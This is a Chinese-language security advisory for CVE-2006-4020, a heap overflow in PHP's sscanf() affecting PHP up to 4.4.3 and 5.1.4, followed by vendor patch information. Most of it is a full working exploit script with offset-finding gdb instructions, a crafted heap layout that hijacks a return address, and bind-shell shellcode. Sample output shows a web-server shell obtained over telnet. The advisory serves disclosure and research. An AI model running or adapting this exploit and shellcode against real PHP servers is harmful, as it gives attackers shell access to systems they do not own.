发布日期：2006-08-08
更新日期：2006-08-22

受影响系统：

PHP PHP <= 5.1.4
PHP PHP <= 4.4.3

不受影响系统：

PHP PHP 5.1.5
PHP PHP 4.4.4

描述：

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BUGTRAQ  ID: 19415
CVE(CAN) ID: CVE-2006-4020

PHP是广泛使用的通用目的脚本语言，特别适合于Web开发，可嵌入到HTML中。

PHP的sscanf()函数处理用户的格式化参数时存在漏洞，本地攻击者可能利用此漏洞通过PHP代码执行任意指令。

如果象如下例子那样向sscanf()函数传递指针的指针作为参数，则会触发堆溢出问题，可能导致执行任意指令：

sscanf('foo ','$1s',$bar)



<*链接：http://www.securityfocus.com/archive/1/442438/30/30/threaded
        http://www.plain-text.info/sscanf_bug.txt
        http://secunia.com/advisories/21403/print/
*>

测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

<?
/***********************************************************
* hoagie_php_sscanf.php
* PHP <= 4.4.3 / 5.1.4 local buffer overflow exploit
*
* howto get offsets:
* (set $base_addr to 0x41414141)
* # ulimit -c 20000
* # /etc/init.d/apache restart
* (execute script via web browser)
* # tail /var/log/apache/error.log
* ...
* [Wed Aug 16 15:07:10 2006] [notice] child pid 28222 exit signal
Segmentation fault (11), possible coredump in /tmp
* ...
* $ gdb /usr/sbin/apache /tmp/core
* ...
* ...
* #0  0x40422b2d in php_sscanf_internal () from
/usr/lib/apache/1.3/libphp4.so
* (gdb) x/250 $edx
* ...
* 0x83ae16c:      0x41414141      0x41414141      0x41414141    
0x41414141
* 0x83ae17c:      0xdeadbabe      0x41414145      0x4141415d    
0x00000001
*                                 ^^^^^^^^^^
*                                 start of our buffer (0x83ae180) =
$base_addr
* 0x83ae18c:      0x00000008      0x4141415d      0x0833d248    
0x00000400
* 0x83ae19c:      0x909006eb      0x90909090      0xe3f7db31    
0x435366b0
*                                                 ^^^^^^^^^^
*                                                 start of shell code
(0x83ae1a4)
* 0x83ae1ac:      0x89534353      0x80cd4be1      0x6652c789    
0x43204e68
* 0x83ae1bc:      0xe1895366      0xd0f6efb0      0x89575150    
0xcd66b0e1
* 0x83ae1cc:      0x4366b080      0x5080cd43      0xe1895750    
0xcd66b043
* 0x83ae1dc:      0x89d98980      0x2c6fb0c3      0x80cd4930    
0x51f6e241
* 0x83ae1ec:      0x732f6e68      0x2f2f6868      0xe3896962    
0xe1895351
* 0x83ae1fc:      0xd0f6f4b0      0x414180cd      0x41414141    
0x41414141
* 0x83ae20c:      0x41414141      0x41414141      0x41414141    
0x41414141
* ...
* (gdb) quit
* #
* (change $base_addr in exploit and now call url again)
* # gdb /usr/sbin/apache /tmp/core
* #0  0x40475e73 in _efree ()
* from /usr/lib/apache/1.3/libphp4.so
* (gdb) x/4w $ebp
* 0xbfffb018:     0xbfffb038      0x40484241      0x0812a2f4    
0xbfffb038
*                                 ^^^^^^^^^^
*                                 return address (return address location
= 0xbfffb01c)
* (change $rec_log in exploit and call url again)
* $ telnet 127.0.0.1 20000
* Trying 127.0.0.1...
* Connected to localhost.
* Escape character is '^]'.
* id;
* uid=33(www-data) gid=33(www-data) groups=33(www-data)
* exit;
* Connection closed by foreign host.
* $
*
* NOTE: Because of PHP memory allocation this exploit depends on
filename, pathname
*       content etc... (because each line/byte will change emalloc()
behavior
*
* Credits: Heintz (discovered this bug)
*          BigHawk (bind shell code)
*          Greuff (void.at)
*
* THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
* CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY
* DAMAGE DONE USING THIS PROGRAM.
*
* VOID.AT Security
* andi@void.at
* http://www.void.at
*
************************************************************/

   /* base_addr for buffer in memory */
   $base_addr = 0x812a260;
   $base_addr_fill = 0x16;
   /* byte 0 = fill up, byte 1 = refcount, byte 2 = is_ref, byte 3 = type
*/
   $zval_attr = 0x00000008;
   /* will be overwritten to execute our shellcode */
   $ret_loc = 0xbfffb01c;
   /* just for searching */
   $pattern = 0xdeadbabe;

   function long2str($addr) {
      return pack("V", $addr);
   }

   $data =
         /* fill up memory */
          str_repeat(long2str($base_addr), $base_addr_fill) .
          /* pattern */
          long2str($pattern) .
         /* current = base_addr */
      long2str($base_addr + 0x4) .    
          /* *current = _zval_struct */
      /* _zval_struct */
      /* _zvalue_value */
      /* _zvalue_value.str.val */
          long2str($base_addr + 0x10 + 0xc) .
      /* _zvalue_value_str.len */
      long2str(0x00000001) .
      /* _zval_struct.type, _zval_struct.is_ref, _zval_struct.refcount */
          long2str($zval_attr) .
      /* _zend_mem_header */
      /* _zend_mem_header.pNext = start of shellcode  */
          long2str($base_addr + 28) .
      /* _zend_mem_header.pLast */
          long2str($ret_loc) .
      /* zend_mem_header.size, zend_mem_header.cached */
      long2str(0x000000400) .
      /* jump over next six bytes */
      "\xeb\x06\x90\x90" .
      /* this bytes will be overwritten by efree() */
      "\x90\x90\x90\x90" .
      /* shell code starts here -
       * BigHawk bind() version - just a little update to get rid
       * of 0x3f
       */
    
"\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd"
.
    
"\x80\x89\xc7\x52\x66\x68\x4e\x20\x43\x66\x53\x89\xe1\xb0\xef"
.
    
"\xf6\xd0\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\x43\x43"
.
    
"\xcd\x80\x50\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89"
.
    
"\xc3\xb0\x6f\x2c\x30\x49\xcd\x80\x41\xe2\xf6\x51\x68\x6e\x2f"
.
    
"\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x51\x53\x89\xe1\xb0\xf4"
.
      "\xf6\xd0\xcd\x80" .
      /* fill up memory */
      str_repeat(long2str($base_addr), $base_addr_fill);

   /* fill up memory with emalloc() for sscanf() */
   quotemeta($data);

   /* trigger exploit */
   sscanf($data, '%1$s', $str);
?>

建议：

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厂商补丁：

PHP
---
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://www.php.net/downloads.php

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